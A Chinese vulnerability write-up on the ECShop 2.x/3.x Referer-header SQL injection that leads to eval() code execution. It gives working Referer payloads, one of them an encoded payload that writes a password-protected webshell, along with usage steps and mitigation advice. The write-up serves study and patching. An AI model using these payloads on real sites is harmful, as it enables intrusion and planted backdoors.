题目复现地址:http://www.whalwl.cn:8030/index.php
影响版本:
Ecshop 2.x
Ecshop 3.x-3.6.0
漏洞分析:
该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。
值得一提的是攻击者利用的payload只适用于ECShop
2.x版本导致有部分安全分析者认为该漏洞不影响ECShop
3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop
3.x的攻击(详见下文分析)。
注:以下代码分析基于ECShop 2.7.3
SQL注入漏洞分析:
首先我们看一下漏洞的起源点 user.php ,在用户login这里有一段代码:
Ecshop使用了php模版引擎smarty,该引擎有两个基本的函数assign()、display()。assign()函数用于在模版执行时为模版变量赋值,display()函数用于显示模版。
smarty运行时,会读取模版文件,将模版文件中的占位符替换成assign()函数传递过来的参数值,并输出一个编译处理后的php文件,交由服务器运行。
可以看到 $back_act 是从 $GLOBALS['_SERVER']['HTTP_REFERER'] 获取到的,HTTP_REFERER 是外部可控的参数,这也是我们注入payload的源头。
phpinfo poc:
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
一句话 poc 文件.config.php 密码bow
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:305:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a79356a6232356d61576375634768774a79776e50443977614841675a585a686243676b5831425055315262596d393358536b374944382b4a796b3d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
使用步骤:
1.注册用户
2.访问user.php并传参数act=login同时抓包
user.php?act=login
3.添加Referer头信息并传入poc
2.x修复建议,3.x 暂时 没找到
Ecshop 3.6.0版本中参数$_echash的值发生了变化,并且对该漏洞写shell的利用进行了防御,该防御措施会被绕过,因此通过升级到最新版3.6.0的方式无法修复该漏洞。建议使用临时解决方案降低被入侵的风险,方法如下:
1、建议在include/lib_insert.php文件的insert_ads()、insert_bought_notes()函数中将$arr[id]和$arr[num]强制转换成整型;
2、以insert_ads()函数为例,也可以在条件判断语句中加入is_int()函数判断$arr[id]、$arr[num]参数是否为整型。针对insert_ads()函数的漏洞修复代码示例: